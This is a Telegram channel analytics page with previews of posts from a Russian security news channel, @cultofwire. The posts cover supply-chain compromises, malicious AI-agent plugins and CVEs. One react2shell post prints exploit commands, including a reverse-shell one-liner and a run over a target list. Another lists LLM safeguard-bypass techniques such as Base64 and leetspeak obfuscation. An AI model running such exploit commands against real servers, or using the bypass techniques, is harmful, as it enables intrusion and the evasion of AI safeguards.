Это настолько плохо, что даже хорошо. Хорошей пятницы.
❤1

Channel
@cultofwire
On this record: Growth · Engagement · Reactions · Posts · Citations · Cite this entry
949subscribers
-1 since we began measuring on 6 August 2026
Risers and fallers across the register · movement among entries of Under 1,000.
| Telegram ID | -1001119549732 |
|---|---|
| Type | Channel |
| Username | @cultofwire |
| Created | 16 October 2017 — measured — cross-checked against a third-party dataset (ext.tg_channel) |
| First recorded | 6 August 2026 |
| Last confirmed live | 13 August 2026 |
| Measurements held | 3 |
| Confirmed unchanged | 1 time, most recently 13 August 2026 |
| On Telegram | t.me/cultofwire |
| Measured (UTC) | Subscribers | Change |
|---|---|---|
| 13 Aug 2026, 14:37 | 949 | -1 |
| 6 Aug 2026, 13:48 | 950 | no change |
| 6 Aug 2026, 02:05 | 950 | first reading |
20 posts held, back to 30 July 2025 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 pageof Telegram’s post history, 20 posts per page.
Nothing published in the last 30 days. ERR and ER are rolling 30-day measures, so there is nothing to compute — we hold 20 posts for this entry, the most recent from 20 March 2026. An engagement rate over an empty window would be a number about nothing.
42 reactions across 15 posts, in 8 distinct kinds. The most used accounts for 42.9% of them.
| Reaction | Count | Share | Share, drawn |
|---|---|---|---|
| 😁 | 18 | 42.9% | |
| 👍 | 7 | 16.7% | |
| 🔥 | 6 | 14.3% | |
| ❤ | 5 | 11.9% | |
| 👎 | 2 | 4.76% | |
| 🤩 | 2 | 4.76% | |
| 👏 | 1 | 2.38% | |
| 🥰 | 1 | 2.38% |
No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.
Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.
Coverage. Reactions were read on 15 of the 20 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 42reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.
Measured over the 20 most recent posts we hold, published 30 July 2025 to 20 March 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.
Это настолько плохо, что даже хорошо. Хорошей пятницы.
❤1
https://socket.dev/blog/trivy-under-attack-again-github-actions-compromise Trivy в GitHub Action взломали. Если вы использовали Trivy от 0.18.0 до 0.35.0 - мои поздравления - смена паролей в пятницу вечером вам обеспечена
👏1
ClawdBot Skills Just Ganked Your Crypto Немного прослоупочил и пропустил важную веху в эре программного обеспечения для нейронок (или связанного с ними). Теперь это полноценный софт. По крайней мере со своими зловредами в своих "репозиториях". Кратко: - 386 вредоносных навыков маскируются под инструменты автоматизации торговли криптой. - Зловредные навыки, опубликованные пользователем hightower6eu, скачали почти 70…
One-Click RCE + unauth API keys leak в OpenClaw/Clawdbot/Moltbot (CVE‑2026‑25253) Исследователи из Hunt.io разобрали потенциальные последствия эксплуатации уязвимости CVE‑2026‑25253 с оценкой CVSSv3 = 8.8 в OpenClaw и его форках (Clawdbot, Moltbot). Это browser‑automation фреймворки, связывающие LLM с браузером через Playwright. Эти агенты обычно имеют доступ к файловой системе и API‑ключам LLM, что автоматически де…
🔥1
Раз уж начали неделю c AI, то продолжим небольшим курсом от Aiteera. Сам курс небольшой и состоит из 9 уроков, и скорей рассчитан на начинающих: - Introduction - Basic Defense Bypass - Advanced Techniques - Obfuscation Attacks - Leetspeak Attacks - Text Reversal Techniques - Base64 & Encoding Bypasses - Emoji Obfuscation - Cipher & Substitution Patterns А для тех, кто уже преисполнился, может опробовать свои силы в…
VoidLink: Evidence That the Era of Advanced AI-Generated Malware Has Begun Нейрослоп теперь банановый зловредный. Check Point Research считает, что мы вошли в эру киберкрайм-сингуялрности и аноны могут создавать зловреды с помощью нейронок. Речь идёт про VoidLink, и это не просто какая-то обычная малварь, а целый модульный фреймворк, с системой плагинов и защитой (runtime code encryption, self-deletion upon tamperi…
Про Clawdbot вещают из каждого утюга. Self-hosted-революция, сотни или даже тысячи скупленных Mac Mini. Штука действительно интересная и даже захотелось себе такое развернуть. Но сейчас не об этом. Из минорных новостей: Clawdbot успел аж 2 раза поменять имя и нынче он OpenClaw. Новость не примечательная, и скорей для общей информации. Теперь немного интересного: Exposed Moltbook Database Let Anyone Take Control of …
👍4😁1
Очередной год подходит к завершению, и можно отложить дела и планы в сторону и перейти к салатам и поздравлениям. Про то, что год был тяжелый все говорят каждый раз, так что не буду это повторять. В наступающем году желаю достигать своих целей, открывать новые горизонты, строить и ломать (каждый год об этом говорю), но и про отдых не забываем. Всё будет, как мы любим. До встречи в 2026. И по традиции, музыка:
❤1🔥1🤩1
Год заканчивается, время подводить итоги, показывать какие-нибудь циферки и поделиться своими выводами и видением. Попробую и я сойти за умного и поделиться своими заметками. Топ 5 CVE (плюс бонус): 1. React2Shell (CVE-2025-55182) - мой личный топ года. Красиво, эпично и масштабно. 10/10. 2. Windows NTLM V1 Elevation of Privilege Vulnerability (CVE-2025-21311) - мне редко интересны уязвимости в Windows (правда там и…
❤1
Если в AI\ML есть Red Team, то для него должен быть Red Team Field Manual. А если серьезно, то тема довольно интересная, а тут всё и сразу в одном месте. Сам Field Manual, инструменты и скрипты так же доступны на Github: github.com/Shiva108/ai-llm-red-team-handbook
❤2👎1
Небольшое продолжение по CVE-2025-55182 CVE-2025-55182 теперь react2shell, а так же появился стабильный эксплоит. Получить шелл можно в одну команду: # Предварительно не забываем поднять листенер, скрипт его не поднимает. python3 exp.py http://127.0.0.1:3000 --revshell 127.0.0.1 1234 # Или сразу прогнать список python3 exp.py -f targets.txt --check Подоспел и плагин для Burp: Next.js RSC RCE Scanner. По данным FO…
👎1
А вот и первый PoC и шаблон для Nuclei. А кто-то уже начал PoC продавать.
👍1🔥1
Showing the 12 most recent of 20 posts we hold for @cultofwire. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
Citation-graph rank — 1,105,457 of 1,189,255entries in the measured graph. A weighted position computed from the forward and mention edges below — republished posts weigh more than named mentions — and recomputed periodically, over the whole graph. Published only as this ordinal position, never as a score: a position is a fact, and a score printed beside one channel’s name would read as a verdict this register does not make. The two counts beneath stay separate for the same reason mentions are never summed with forwards anywhere else on this page — a named-by count costs nothing to manufacture. The top 100 by this measure, or how it is computed.
Republished by
Channels on the register that have forwarded this channel's posts into their own feed.
Republishes
Channels on the register whose posts this channel has forwarded.
Built only from forwarded posts we have actually read, on both sides. Coverage is early and deliberately incomplete: a missing link means we have not read the post that would prove it, never that the relationship does not exist. Counts are distinct forwarded posts observed, so they only ever go up as we read more.
Names
Channels on the register whose handles appear in this channel's posts.
A mention is a weaker signal than a forward and is counted separately for that reason — naming a channel is not republishing it, and a handle in a post body is easy to place deliberately. The post counts beside each row below are distinct posts in which the handle appeared, from posts we have read on both sides — the “Named by N registered channels” figure above is a different count, of distinct NAMING CHANNELS rather than posts, and is not the sum of the rows under it.
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 13 August 2026 — this entry's latest reading, not the date you are reading this.
“Cult Of Wire” (@cultofwire), 949 subscribers as measured 13 August 2026. Telegram Register, tgregister.com/channel/cultofwire.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.